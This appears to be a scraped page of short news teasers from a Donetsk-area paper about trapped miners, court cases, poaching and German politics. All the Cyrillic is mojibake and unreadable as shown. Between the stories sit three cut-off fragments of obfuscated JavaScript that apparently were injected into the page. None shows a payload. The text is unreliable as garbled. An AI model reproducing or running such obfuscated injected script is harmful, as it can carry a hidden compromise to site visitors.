Ãåîðãèåâ Ðóäîëüô
Åäâà áåçðàáîòíûé è áûâøèé ãîðíûé ìàñòåð ñïóñòèëèñü â âûðàáîòêó, êàê äâåðöà ëîâóøêè çàõëîïíóëàñü - ñâåðõó ðóõíóëà ïîðîäà è îòðåçàëà ïóòü íàçàä. Ñòðàõóþùèé íàâåðõó ïðèÿòåëü òðè äíÿ ïûòàëñÿ ñàìîñòîÿòåëüíî îòêîïàòü ïîäåëüíèêîâ, ïîïàâøèõ â êàìåííûé ìåøîê. Òåì âðåìåíåì ðîäñòâåííèêè áðàòüåâ ïîäíÿëè ïàíèêó, è èõ òîâàðèù áûë âûíóæäåí îáðàòèòüñÿ çà ïîìîùüþ ê ãîðíîñïàñàòåëÿì.
Íå íàäåÿñü íàéòè îõîòíèêîâ çà ìåòàëëîì æèâûìè, ñïàñàòåëè ïîïðîáîâàëè ïðîíèêíóòü â çàâàëåííóþ âûðàáîòêó ÷åðåç ñîñåäíþþ, ðàáîòàþùóþ øàõòó "Õàðüêîâñêóþ", íî è ýòî íå óäàëîñü - èç-çà íîâûõ ìíîãî÷èñëåííûõ îáâàëîâ. Òîãäà ñïåöèàëèñò-ìàðêøåéäåð îïðåäåëèë íà ïîâåðõíîñòè ïðèìåðíóþ òî÷êó íàõîæäåíèÿ ïëåííèêîâ è ñ ïîìîùüþ áóðîâîé óñòàíîâêè ñäåëàëè ñêâàæèíó äèàìåòðîì â 13 ñàíòèìåòðîâ, ñîåäèíèâøóþ ñïàñàòåëåé èìåííî ñ òîé âûðàáîòêîé, ãäå íà ãëóáèíå 22 ìåòðà íàõîäèëèñü ìóæ÷èíû, óæå ïîòåðÿâøèå íàäåæäó íà ñïàñåíèå. ×åðåç ñêâàæèíó íåçàäà÷ëèâûì âîðèøêàì ïåðåäàëè âîäó, åäó è òåïëóþ îäåæäó.
Ñ óòðà äî âå÷åðà ïÿòîãî ìàðòà ñïåöèàëèñòû Ì×Ñ è ãîðíîñïàñàòåëè ðàñøèðÿëè...
Íåñ÷àñòüÿ îáðóøèëèñü íà Àíäðåÿ Ãîëóáåíêîâà êàê ãðîì ñðåäè ÿñíîãî íåáà. Âñå íà÷àëîñü ñ çàêàçíîãî ïèñüìà, â êîòîðîì ëåæàëè êâèòàíöèè Óêðòåëåêîìà íà ïîãàøåíèå äîëãà â ÷åòûðå òûñÿ÷è ãðèâåí (îêîëî 800 äîëëàðîâ).
Ðåøèâ, ÷òî ñòàë æåðòâîé ìîøåííèêîâ, òàéíî ïîäêëþ÷èâøèõñÿ ê åãî òåëåôîííîìó íîìåðó è íàãîâîðèâøèõ òàêóþ áàñíîñëîâíóþ ñóììó, ãëàâà ñåìüè ñîáðàëñÿ èäòè íà ñòàíöèþ ðàçáèðàòüñÿ, íî â ïîäúåçäå ñòîëêíóëñÿ ñ ïî÷òàëüîíîì, êîòîðûé âðó÷èë åùå îäíî ïèñüìî, íà ýòîò ðàç èç ãîðîäñêîãî ñóäà.  íåì ãðàæäàíèí Ãîëóáåíêîâ óâåäîìëÿëñÿ ... î êîíôèñêàöèè åãî êâàðòèðû! ×óâñòâóÿ, ÷òî íà÷èíàåò ñõîäèòü ñ óìà, ìóæ÷èíà êèíóëñÿ çà îáúÿñíåíèåì â êàíöåëÿðèþ îáëàñòíîãî ñóäà Õåðñîíà, ãäå óçíàë îøåëîìëÿþùóþ íîâîñòü - ïîëòîðà ìåñÿöà íàçàä çà êðàæó òåëåôîííîãî êàáåëÿ îí áûë ïðèãîâîðåí ê òðåì ãîäàì ëèøåíèÿ ñâîáîäû, à øòðàôû è êîíôèñêàöèÿ - âñåãî ëèøü ïîïóòíûå ìåðû íàêàçàíèÿ.
Ïîíÿâ,...
Ãîä íàçàä ìû ðàññêàçàëè (ñì. "Òðóä-7" îò 27. 02. 2003) î ðîêîâîé ëþáâè îäåññêîãî ñëåäîâàòåëÿ Åêàòåðèíû ê ïîäñëåäñòâåííîìó âîðó-ðåöèäèâèñòó, êîòîðûé âî âðåìÿ ñâèäàíèÿ íåîæèäàííî ñîâåðøèë ïîáåã. Êàòþ óâîëèëè èç îðãàíîâ è â êîíöå 1999 ãîäà ñóä äàë åé òðè ãîäà óñëîâíî, à ïîéìàííîãî áåãëåöà ïðèãîâîðèë ê øåñòè ãîäàì ëèøåíèÿ ñâîáîäû â êîëîíèè îñîáîãî ðåæèìà. Êàòÿ ïðîñòèëà Âèòàëèÿ è ïðèåõàëà ê íåìó íà ñâèäàíèå, à â ÿíâàðå 2000 ãîäà îíè ñòàëè ìóæåì è æåíîé. È âîò íåäàâíî Âèòàëèé Ìîðåö âûøåë íà ñâîáîäó - óñëîâíî-äîñðî÷íî.
Äâåðü îòâîðèëà Êàòÿ, õðóïêàÿ, áåëåíüêàÿ, íà ïîë-ëèöà - ãîëóáûå âåñåëûå ãëàçà.
- Ïðîõîäèòå, ïðîõîäèòå, ìû ðàäû âñåì, êòî íàñ òîãäà ïîíÿë è íå "çàêëåéìèë ïîçîðîì".
- ×àé? - áàñèñòî âòîðèò åé Âèòàëèé è íå óïóñêàåò ñëó÷àÿ ïîõâàëèòü æåíó. - Ìîÿ Êàòþøà òàêîé ÿáëî÷íûé ïèðîã èñïåêëà - îáúåäåíüå!
Îí åùå "íå îñâîáîäèëñÿ" âïîëíå îò êîëîíèè - êîðîòêàÿ ñòðèæêà, êîëþ÷èé ïðèùóð îïûòíûõ, ìíîãîå ïîâèäàâøèõ ãëàç, öåïêèå ïàëüöû â íàêîëêàõ. Íî Âèòàëèþ õî÷åòñÿ íðàâèòüñÿ, è îí ñëåïî êîïèðóåò èíòîíàöèè æåíû.
- ß áîÿëàñü ïðèâûêíóòü ê îäèíîêîé æèçíè, - êàê áû îïðàâäûâàåòñÿ Êàòÿ, íàðåçàÿ ïèðîã. - Ìíå-òî ñàìîé íè÷åãî íå íóæíî. Ñ òåõ ïîð, êàê íå ñòàëî ìàìû, ÿ âîîáùå...
Äâà ãîäà ïðîñòîÿë ó âõîäà "Ýêñïî-Äîíáàññà" äîâîåííûé ëîêîìîòèâ, â íàðîäå ïðîçâàííûé "êóêóøêîé".
Îäíàêî íè âûñòàâî÷íûé êîìïëåêñ, íè êðàåâåä÷åñêèé ìóçåé Äîíåöêà ïî÷åìó-òî íå âçÿëè åãî íà áàëàíñ. È âîò âîñïîëüçîâàâøèñü áåñõîçíîñòüþ 15-òîííîãî ýêñïîíàòà, êòî-òî òåìíîé íî÷üþ ïåðåãíàë åãî íà ïðèåìíûé ïóíêò ìåòàëëà. Ïðîïàæà ÷óãóííîãî "ñòàëèíöà" (ê íîñó ïàðîâîçà áûë ïðèêðó÷åí ïîðòðåò îòöà âñåõ íàðîäîâ) âçâîëíîâàëà òîëüêî óáîðùèöó, êîòîðàÿ è ñîîáùèëà î êðàæå â ìèëèöèþ.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Ñåðüåçíûé ñòðåññ ïðèøëîñü ïåðåæèòü ó÷àñòêîâîìó âðà÷ó èç ãîðîäà Êîíñòàíòèíîâêè.
Ïðèäÿ, êàê îáû÷íî, ïðîâåäàòü îäèíîêîãî 84-ëåòíåãî ïåíñèîíåðà, ñòðàäàþùåãî ìíîãèìè õðîíè÷åñêèìè çàáîëåâàíèÿìè, ìîëîäàÿ âðà÷ ïðåäëîæèëà åãî îñìîòðåòü. Íî îäèíîêèé ñòàðèê îòêàçàëñÿ, "ïîøóòèâ", ÷òî ýòî ñäåëàåò ïàòîëîãîàíàòîì. À â ñëåäóþùóþ ñåêóíäó ñ êðèêîì "âû áóäåòå ñâèäåòåëåì" äîñòàë èç-ïîä îäåÿëà ñàìîäåëüíûé ïèñòîëåò è âûñòðåëèë ñåáå â ãîëîâó.
 ïðåäñìåðòíîé çàïèñêå, íàéäåííîé íà ñòîëå, ïðåñòàðåëûé ñàìîóáèéöà ïîïðîñèë íèêîãî íå âèíèòü â ñâîåé ñìåðòè, êðîìå ñòàðîñòè, áîëåçíåé è íèùåòû.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
È ìóæà, è äî÷êó Îëå ñóäüáà ïîñëàëà âíà÷àëå êàê èñïûòàíèå, ïîòîì êàê íàãðàäó. È òîãî, è äðóãîãî îíà îòáèëà ó ñìåðòè: äåâî÷êà óìèðàëà â áîëüíèöå, îòâåðãíóòûé îáùåñòâîì ìóæ÷èíà ñ êëåéìîì îñîáî îïàñíîãî ðåöèäèâèñòà âëà÷èë äëèòåëüíûé ñðîê â òþðüìå.
À Îëÿ æèëà ñâåòëîé ïðàâåäíîé æèçíüþ, ðàáîòàëà íÿíåé â äåòñêîì ñàäó, ìíîãî ÷èòàëà, ïîìîãàëà äðóçüÿì è çíàêîìûì è ïèñàëà âîçâûøåííûå ñòèõè. Ñòèõè áûëè ìåëîäè÷íû, ëåãêî ëîæèëèñü íà ìóçûêó è íðàâèëèñü íàñòîÿòåëþ ìåñòíîé öåðêâè, êîòîðûé èçäàë åå ñáîðíèê çà ñâîé ñ÷åò. Îòïðàâëÿÿñü íà Ðîæäåñòâî Õðèñòîâî íåñòè ñëóæáó â îäíó èç ìóæñêèõ êîëîíèé, îòåö ïðèõâàòèë â ïîäàðîê êíèãè Îëèíûõ ñòèõîâ. Òàê íåáåñíîãî öâåòà òîìèê ïîïàë â ðóêè ðåöèäèâèñòà Ñåðãåÿ Øàôðàíà, íà ñ÷åòó êîòîðîãî áûëè äåñÿòêè äåðçêèõ îãðàáëåíèé.
-  äóøå ÷òî-òî ùåëêíóëî, - ðàññêàçûâàåò Ñåðãåé, - ÿ ñèäåë, êàê îáû÷íî, íà íàðàõ è ðåçàëñÿ â äîìèíî. È âäðóã óñëûøàë ïî äèíàìèêó ñòèõè, êîòîðûå...
 ÑØÀ ïðîäàí ìèëëèîííûé äèñê ïî èçó÷åíèþ èíîñòðàííûõ ÿçûêîâ, ðàçðàáîòàííûé ó÷åíûìè Äîíåöêîãî
 ÑØÀ ïðîäàí ìèëëèîííûé äèñê ïî èçó÷åíèþ èíîñòðàííûõ ÿçûêîâ, ðàçðàáîòàííûé ó÷åíûìè Äîíåöêîãî èíñòèòóòà èñêóññòâåííîãî èíòåëëåêòà. Ïðîãðàììà ïðîñòà â èñïîëüçîâàíèè, è, ïî ñëîâàì àâòîðîâ, åå ìîãóò îñâîèòü äàæå òðåõëåòíèå äåòè.
Ïîïóëÿðåí çà ðóáåæîì è äîíåöêèé ðîáîò "Èíòåëëåêò-12".  îòëè÷èå îò çàïàäíûõ àíàëîãîâ îí ìîæåò íå òîëüêî ïîä÷èíÿòüñÿ äèñòàíöèîííûì êîìàíäàì, íî è äåéñòâîâàòü ñàìîñòîÿòåëüíî. Íàïðèìåð, â øàõòå âî âðåìÿ ïîèñêà ãîðíÿêîâ ïîä çàâàëàìè.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return...
Êòî òîëüêî çà ýòè ãîäû íå çàáðåäàë ê Àëåêñåþ ßãìóðó â çåìëÿíêó - è áåãëûå ïîäðîñòêè, è çàáëóäèâøèåñÿ òóðèñòû, è îõîòíèêè. Ìèõàëû÷ è îò íåïîãîäû óêðîåò, è ÷àåì òðàâÿíûì íàïîèò, è ëåïåøêàìè èç îòðóáåé óãîñòèò. Ëèøü áðàêîíüåðû îáõîäÿò çàèìêó çà âåðñòó, óæ îíè-òî äîïîäëèííî çíàþò, ÷òî êîãäà ñòàðûé åãåðü ñ ðóæüåì äà íà ëîøàäè, òî ëó÷øå íå ïîïàäàòüñÿ.
Âåñíîé è îñåíüþ ßãìóð îòðåçàí îò ìèðà. Óçåíüêàÿ ðå÷êà Íîâîñåëêà ïðåâðàùàåòñÿ â áóðíûé ïîòîê, à ìîêðûé ñíåã - â íåïðîõîäèìóþ ãðÿçü. Íî áðàêîíüåðàì ÷òî - îíè íà äæèïàõ è "Íèâàõ", â êðàéíåì ñëó÷àå - â ñàïîãàõ âûøå êîëåí. Çàòî êàêîå èçîáèëèå ê èõ óñëóãàì: çàéöû, ëèñû, êàáàíû, åíîòû, äèêèå êîçû è äàæå êîñóëè! Ñ íèõ-òî, ãðàöèîçíûõ êðàñàâèö, ïîñåëèâøèõñÿ â ðåäêèõ äîíáàññêèõ ðîùèöàõ, è íà÷àëñÿ äèêèé ïåðèîä æèçíè åãåðÿ Àëåêñåÿ Ìèõàéëîâè÷à ßãìóðà. Îäíàæäû, ðèñêóÿ æèçíüþ, îí îòáèë ó áðàêîíüåðîâ ðàíåíóþ êîñóëþ è, ÷òîáû âûõîäèòü áåäíÿãó, à çàîäíî íå äàòü óíè÷òîæèòü äðóãèõ, ïîñòðîèë ó ñòàâêà øàëàø. Òîãäà è îòêðûëàñü åìó èñòèíà - ÷åì áëèæå ê ïðèðîäå,...
Íåñîñòîÿâøàÿñÿ æåðòâà ïðåñòóïëåíèÿ - Ñòàíèñëàâ Èâàíîâè÷ Ñòàâèöêèé è ñåé÷àñ íå ìîæåò ïîâåðèòü â ñëó÷èâøååñÿ. Äà îí æå ýòó Ïðîíèíó âûòÿíóë èç íèùåòû, ïîìîã ðàñïëàòèòüñÿ ñ äîëãàìè, ðåøèòü ïðîáëåìû ñ äåòüìè.  ïàìÿòü î ñòàðîé, åùå ïàðòèéíî-ñîâåòñêîé äðóæáå, âçÿë íà ðàáîòó â ñâîå ïðåóñïåâàþùåå àâòîïðåäïðèÿòèå, ñäåëàë ñâîèì çàìåñòèòåëåì. Äîâåðÿë ïî ïîëíîé ïðîãðàììå, íè ê îäíîé ïðîñüáå íå îñòàâàëñÿ áåçó÷àñòíûì, è âäðóã - òàêàÿ äèêîñòü, òàêîå êîâàðñòâî!
Àííà æå Ñåðãååâíà ñìîòðåëà ñëåäîâàòåëþ â ãëàçà, íèñêîëüêî íå ñìóùàÿñü. Ïîíÿâ, ÷òî îò âèäåîçàïèñè íå îòâåðòåòüñÿ, îíà ïîñòàðàëàñü óäåðæàòü àâòîðèòåò â ãëàçàõ îáùåñòâåííîñòè è çàðó÷èòüñÿ ñî÷óâñòâèåì ãîëîäíûõ ìàññ ðàéîííîãî öåíòðà. Ïîýòîìó è ìîòèâ çàäóìàííîãî ïðåñòóïëåíèÿ èçëîæèëà ïîëèòè÷åñêè ìóäðî:
-ß ÷åëîâåê ñîâåòñêèé è íåíàâèæó êàïèòàëèñòîâ. Ñ÷èòàéòå, ÷òî ìîé ïîñòóïîê - ýòî âêëàä â ìèðîâóþ ðåâîëþöèþ.
...Íî÷íîé ñòóê â îêíî äîìà Ñòàâèöêèõ õîòü è ïðîçâó÷àë íåîæèäàííî, íî áûë ñêîðåå äåëèêàòíûì, ÷åì ïóãàþùèì. Íà ïîðîãå ïåðåìèíàëèñü ñ íîãè íà íîãó äâà íåçíàêîìûõ ìóæèêà.
- Õîçÿèí, åñòü ðàçãîâîð, - ñêàçàë îäèí èç íèõ Ñòàíèñëàâó Èâàíîâè÷ó. -...
Âëàäèìèð Øàïîâàëîâ, ìàñòåð ñïîðòà ïî ëåãêîé àòëåòèêå, çà äâàäöàòü ëåò òðåíåðñêîé ðàáîòû âîñïèòàâøèé íå îäíîãî ÷åìïèîíà Óêðàèíû è ÑÑÑÐ, óéäÿ íà ïåíñèþ, çàðàáàòûâàë ÷àñòíûì èçâîçîì íà ñòàðåíüêîé "Ëàäå". Îäíàêî ïî-ïðåæíåìó íå ïðîïóñêàë íè îäíîãî ñîðåâíîâàíèÿ ïî ëåãêîé àòëåòèêå è îñòàâàëñÿ â ôîðìå - ïîäòÿíóòûé, áîäðûé, ýíåðãè÷íûé.
Íî âîò â ñåìüå ñëó÷èëàñü áåäà: îñåíüþ 1998 ãîäà ìëàäøàÿ äî÷ü Èðî÷êà íå âåðíóëàñü âîâðåìÿ ñî äíÿ ðîæäåíèÿ ïîäðóãè. Ïîëíî÷è ðîäèòåëè íå ñîìêíóëè ãëàç, à â òðè ÷àñà åå ïðèâåë äîìîé ìèëèöèîíåð - èçáèòóþ, äðîæàùóþ, â èçîðâàííîé îäåæäå. Äâóõ ïîäîíêîâ èç îáåñïå÷åííûõ ñåìåé, ñõâàòèâøèõ 16-ëåòíþþ äåâ÷îíêó â ëþäíîì ìåñòå è çàòàùèâøèõ â ïîäâàë, ìåñòíûå ñûùèêè çàäåðæàëè óæå ÷åðåç ïàðó äíåé. Îáà äàëè ïðèçíàòåëüíûå ïîêàçàíèÿ. Îäíàêî ÷åðåç íåäåëþ ïîñëå àðåñòà ñëó÷èëîñü íåîáúÿñíèìîå - íàñèëüíèêè îêàçàëèñü íà ñâîáîäå, à ê Øàïîâàëîâûì ÿâèëèñü èõ ðîäèòåëè è ïðåäëîæèëè "çàìÿòü íåäîðàçóìåíèå" ñ ïîìîùüþ íîâåíüêîé èíîìàðêè. Íå âñòðåòèâ "ïîíèìàíèÿ" ñî ñòîðîíû...
Àðìÿíñêîå ðàäèî ñïðàøèâàþò: "Ìîæåò ëè "Çàïîðîæåö" ðàçâèòü ñêîðîñòü äî 100 êì â ÷àñ?" Ðàäèî îòâå÷àåò: "Ìîæåò, åñëè åãî ñòîëêíóòü ñ ãîðû Àðàðàò".Ýòîò àíåêäîò âçÿò èç êíèæêè, ïîñâÿùåííîé ëþáèìîìó íàðîäíîìó àâòîìîáèëþ ÇÀÇ-965, èçâåñòíîìó ïîä êëè÷êîé "ãîðáàòûé". Ðåäàêöèîííàÿ êîëëåãèÿ ñáîðíèêà öåëèêîì ñîñòîèò èç ìíîãîëåòíèõ âëàäåëüöåâ îçíà÷åííûõ ìàøèí - àêòèâèñòîâ ëüâîâñêîãî ôàí-êëóáà "ÇÀÇ-Êîçàê". Ñ åãî ïðåçèäåíòîì Åâãåíèåì ÊÐÀÂÑÎÌ ïîáåñåäîâàëè íàøè êîððåñïîíäåíòû.
- Åâãåíèé, îòêóäà òàêàÿ âåðíîñòü íåâçðà÷íîìó àâòîìîáèëþ?
- Ïî÷åìó íåâçðà÷íîìó? Î÷åíü ñèìïàòè÷íàÿ ìàøèíà. Ïîñìîòðèòå â ëèöî "ãîðáàòîìó": îí æå óëûáàåòñÿ.  îêòÿáðå èñïîëíèëîñü ðîâíî 44 ãîäà ñî äíÿ âûïóñêà ïåðâîãî ÇÀÇ-965, è íàø êëóá ïî ýòîìó ïîâîäó çàêàçàë òîðò âåñîì â 44 êèëîãðàììà.  ñâîå âðåìÿ "ãîðáàòûé" áûë ïåðâîé óêðàèíñêîé ìàëîëèòðàæêîé, äîñòàòî÷íî äåøåâîé è ñðàáîòàííîé òàê, ÷òî åå ìîæíî áûëî áåñêîíå÷íî ïåðåäåëûâàòü, ìîäåðíèçèðîâàòü, ïðèñïîñàáëèâàòü ê ïîòðåáíîñòÿì âëàäåëüöà. Íî ñåãîäíÿ íà Ëüâîâùèíå òåõîáñëóæèâàíèå ïðîõîäÿò âñåãî 50 "ãîðáàòûõ", à ýòî î÷åíü ìàëî äëÿ òàêîé èçâåñòíîé ìàðêè.
- È íà ÷òî æå ñïîñîáíî âàøå àâòî?
- Íó, âî-ïåðâûõ,...
Íåìåöêîå ïðàâîñóäèå ïðåïîäíåñëî ðîæäåñòâåíñêèé ïîäàðîê 66-ëåòíåìó Ýãîíó Êðåíöó, ïîñëåäíåìó â ÃÄÐ ðóêîâîäèòåëþ ïàðòèè, ïðàâèòåëüñòâà è ãîñóäàðñòâà. Îí äîñðî÷íî îñâîáîæäåí èç çíàìåíèòîé òþðüìû â Ïëåòöåíçåå, îòñèäåâ ïîëîâèíó èç îòïóùåííûõ åìó 6,5 ãîäà çàêëþ÷åíèÿ.
Äåëî ïðîòèâ íåãî ñ ñàìîãî íà÷àëà íîñèëî ÿâíî ïîëèòè÷åñêèé õàðàêòåð, õîòÿ îôèöèàëüíî Êðåíöó ïîñòàâèëè â âèíó "ñîó÷àñòèå â óáèéñòâå ÷åòûðåõ áåæåíöåâ èç ÃÄÐ" íà òîì îñíîâàíèè, ÷òî åãî ïîäïèñü ñòîÿëà ïîä äîêóìåíòàìè, îïðåäåëÿþùèìè ïîãðàíè÷íûé ðåæèì. Ïðèãîâàðèâàÿ åãî ê òþðåìíîìó íàêàçàíèþ, ñóä ÔÐà êàê áû ðàññ÷èòàëñÿ çà âñå ïðîâèííîñòè ðóêîâîäñòâà ñîöèàëèñòè÷åñêîé Ãåðìàíèè.
Âûïóñêàÿ Êðåíöà íà âîëþ, ñóä ìîòèâèðîâàë ñâîå ðåøåíèå òåì, ÷òî îò îñóæäåííîãî íå ñëåäóåò îæèäàòü ñîâåðøåíèÿ íîâûõ óãîëîâíûõ äåÿíèé, ÷òî îí íå ïðåäñòàâëÿåò îïàñíîñòè è âåë ñåáÿ ïðèìåðíî çà ðåøåòêîé. Ôàðñ ñ îñóæäåíèåì, ôàðñ ñ îñâîáîæäåíèåì, ïîñêîëüêó Êðåíö íå ìîæåò ñîâåðøèòü...
Ñêàíäàë ñ ôèíàíñàìè â ÔÐà - âïåðâûå â ñâîåé èñòîðèè áóíäåñòàã ïðîãîëîñîâàë çà áþäæåò, êîòîðûé ïðîòèâîðå÷èò êîíñòèòóöèè. Íîâûå äîëãè ñîñòàâëÿþò â íåì 29,3 ìèëëèàðäà åâðî, à èíâåñòèöèè - 24,6 ìèëëèàðäà, ÷òî çàïðåùàåò Îñíîâíîé çàêîí.
Íî áþäæåò ïðèíÿëè, ïîñêîëüêó â ñòðàíå ñëîæíîñòè ñ ïîñòóïëåíèåì äîõîäîâ: äàæå ëåãàëüíûå áîðäåëè íåäîïëàòèëè â êàçíó 2,3 ìèëëèàðäà åâðî. Ïî íå îòìåíåííîìó äî ñèõ ïîð çàêîíó îò 1901 ãîäà, ïðîñòèòóöèÿ ñ÷èòàåòñÿ óãîëîâíûì ïðåñòóïëåíèåì. È ãðàæäàíñêèé êîäåêñ ÔÐà â ñòàòüå 138 êëåéìèò ïëàòíûå ñåêñóàëüíûå óñëóãè, êàê "áåçíðàâñòâåííûå îáùåñòâåííûå äåéñòâèÿ". Îäíàêî âîïðåêè çàïðåòàì è ìîðàëüíûì ôèëèïïèêàì îôèöèàëüíûõ áëþñòèòåëåé íðàâñòâåííîñòè ëåãàëüíî äåéñòâóþò áîðäåëè ïîä çâîíêèìè èìåíàìè "äâîðöîâ ëþáâè", "ýðîñöåíòðîâ", "êëóáîâ âñòðå÷", "êàôå ñâèäàíèé", íà êîòîðûå ïðèõîäèòñÿ îêîëî 60 ïðîöåíòîâ âñåé ïðîñòèòóöèè. Åùå 20 ïðîöåíòîâ ñîñòàâëÿþò ñêðîìíûå...
 òðîïè÷åñêîé æàðå, îïàëèâøåé Ãåðìàíèþ, ïîäòàÿë è ìíîãîìåñÿ÷íûé ëåäîê â ïîëèòè÷åñêèõ îòíîøåíèÿõ ìåæäó ÔÐà è ÑØÀ. Ïðåçèäåíò Äæîðäæ Áóø, ïîêàçàòåëüíî è íàçèäàòåëüíî èãíîðèðîâàâøèé ïîëèòè÷åñêîå ðóêîâîäñòâî Ãåðìàíèè èç-çà åãî íåæåëàíèÿ ó÷àñòâîâàòü â âîåííîì ïîõîäå ïðîòèâ Èðàêà, âäðóã ïðîÿâèë ìèëîñòü.
"ÔÐÃ, - çàÿâèë îí, - èãðàåò î÷åíü àêòèâíóþ ðîëü â Àôãàíèñòàíå, è ìû çà ýòî åé áëàãîäàðíû". Ïîìîùü íå òîëüêî îãðîìíà, íî è "ïðåâîñõîäèò âñå îæèäàíèÿ ÑØÀ". "Ìíå äîñòàâèò ðàäîñòü, - äîáàâèë ïðåçèäåíò, - ëè÷íî ïîáëàãîäàðèòü ôåäåðàëüíîãî êàíöëåðà Ãåðõàðäà Øðåäåðà".
Åñëè Áóø íå ïåðåäóìàåò, òî òàêàÿ âîçìîæíîñòü ïðåäñòàâèòñÿ åìó â ñåíòÿáðå, êîãäà íåìåöêèé ëèäåð ïðèáóäåò â Íüþ-Éîðê íà Ãåíåðàëüíîå ñîáðàíèå ÎÎÍ. Òî, ÷òî â çàÿâëåíèè àìåðèêàíñêîãî ïðåçèäåíòà ðå÷ü èäåò îá Àôãàíèñòàíå, íèêàê íå ñêðûâàåò ãëàâíîãî, èðàêñêîãî ïîäòåêñòà. Ïðèñóòñòâèå âîéñê ÑØÀ íà èðàêñêîé çåìëå îêàçàëîñü êðîâîïðîëèòíåå, äîðîæå è ïðèíèìàåò âñå áîëåå çàòÿæíîé õàðàêòåð, ÷åì...
È áåç òîãî êðàéíå "íåóäîáíàÿ" äëÿ ðóêîâîäñòâà Ãåðìàíèè ïðîáëåìà ó÷àñòèÿ áóíäåñâåðà â çàðóáåæíûõ îïåðàöèÿõ ðåçêî îáîñòðèëàñü ïîñëå íàïàäåíèÿ òåððîðèñòîâ íà íåìåöêîå ïîäðàçäåëåíèå â Àôãàíèñòàíå. Ñòðàíà òÿæåëî âîñïðèíÿëà ãèáåëü ñâîèõ ñûíîâ. Ïîäàâëÿþùåå ÷èñëî áóíäåñáþðãåðîâ êàòåãîðè÷åñêè ïðîòèâ ðàñøèðåíèÿ ôóíêöèé áóíäåñâåðà çà ãðàíèöåé, íå ãîâîðÿ óæå î íàïðàâëåíèè òóäà íîâûõ ÷àñòåé.
 ýòîé ñèòóàöèè ïðàâèòåëüñòâó ÔÐà ïðèõîäèòñÿ ïðèíèìàòü ñëîæíîå ïîëèòè÷åñêîå ðåøåíèå.  çàíÿòîé ïîçèöèè ïî Èðàêó ïðàêòè÷åñêè íåò ìåñòà äëÿ îòñòóïëåíèÿ. Ñîãëàøàòüñÿ íà âîåííîå ó÷àñòèå - çíà÷èò âñòàòü íà êîëåíè ïåðåä àìåðèêàíöàìè è ðàñïèñàòüñÿ â ñâîåé ñëàáîñòè ïåðåä ìèðîì. Ïîýòîìó, âîçâðàòèâøèñü èç ÑØÀ, ìèíèñòð èíîñòðàííûõ äåë ÔÐà Éîøêà Ôèøåð è ôåäåðàëüíûé êàíöëåð Ãåðõàðä Øðåäåð ó ñåáÿ äîìà çàÿâèëè, ÷òî Ãåðìàíèÿ "íå ìîæåò ïîéòè íà âîåííîå ó÷àñòèå â Èðàêå". Îäíàêî îñòàåòñÿ îòêðûòûì âîïðîñ, ÷òî áóäóò äåëàòü íåìöû, åñëè ñîîòâåòñòâóþùåå ðåøåíèå ïðèìåò ÍÀÒÎ èëè ïîñëåäóåò ðåçîëþöèÿ ÎÎÍ, ïðèçûâàþùàÿ íàïðàâèòü â Èðàê âîåííûå ñèëû â òîì èëè èíîì...
Êàê ñîîáùàåò ìèðîâàÿ ïðåññà, ñûíîâüÿ áûâøåãî èðàêñêîãî âëàñòåëèíà ïîãèáëè. Áûòü ìîæåò, íàøà
Êàê ñîîáùàåò ìèðîâàÿ ïðåññà, ñûíîâüÿ áûâøåãî èðàêñêîãî âëàñòåëèíà ïîãèáëè. Áûòü ìîæåò, íàøà áûâøàÿ çåìëÿ÷êà Ñàøà Âîäÿíèêîâà - îäíà èç íåìíîãèõ, êòî âèäåë ñòàðøåãî ñûíà Óäýÿ â îáñòàíîâêå ñîâñåì íå ôîðìàëüíîé.
Óæå íèêîãî íå óäèâëÿåò, ÷òî è íûíåøíèå, è áûâøèå ðîññèÿíêè áëèñòàþò íà ñàìûõ ïðåñòèæíûõ êîíêóðñàõ êðàñîòû è ó ñåáÿ äîìà è çà ðóáåæîì. È âîñøåñòâèå íà òðîí "êîðîëåâû êðàñîòû Ãåðìàíèè" - íàøåé çåìëÿ÷êè, 19-ëåòíåé Ñàøè Âîäÿíèêîâîé, âûñîêîé, ñòðîéíîé, î÷àðîâàòåëüíîé áëîíäèíêè, êîòîðàÿ ñåé÷àñ æèâåò â Ìþíõåíå, áûëî âîñïðèíÿòî çäåñü íå áåç çàâèñòè, íî ñ ïîëíûì ïîíèìàíèåì.
Ôèíàëüíîå ïðåäñòàâëåíèå â ÿíâàðå, ìóçûêà, äîðîãèå äàðû, öâåòû, õâàëåáíûå...
Ãåðìàíèÿ, êàê è ìíîãèå äðóãèå ñòðàíû Çàïàäíîé Åâðîïû, ñòðàäàåò îò çàñóõè.
Æàðà, îïàëèâøàÿ Çàïàäíóþ Åâðîïó, íå ìèíîâàëà è Ãåðìàíèþ.  Áåðëèíå òðåòèé ìåñÿö ïðàêòè÷åñêè íè êàïëè äîæäÿ, à òåìïåðàòóðà âñå âðåìÿ çà òðèäöàòü. Ó êîãî åñòü âîçìîæíîñòü, äíÿìè íå âûëåçàþò èç âîäîåìîâ: â íåïîñðåäñòâåííîì îêðóæåíèè ñòîëèöû áîëåå 240 îçåð. Íåñìîòðÿ íà èçíóðÿþùèé çíîé, îáùåé òðåâîãè îò ïîãîäíûõ êàòàêëèçìîâ ñðåäè æèòåëåé Áåðëèíà íå îùóùàåòñÿ, õîòÿ áû ïîòîìó, ÷òî íà åãî àñôàëüòå è áðóñ÷àòêå óðîæàé íå âûðàùèâàþò.
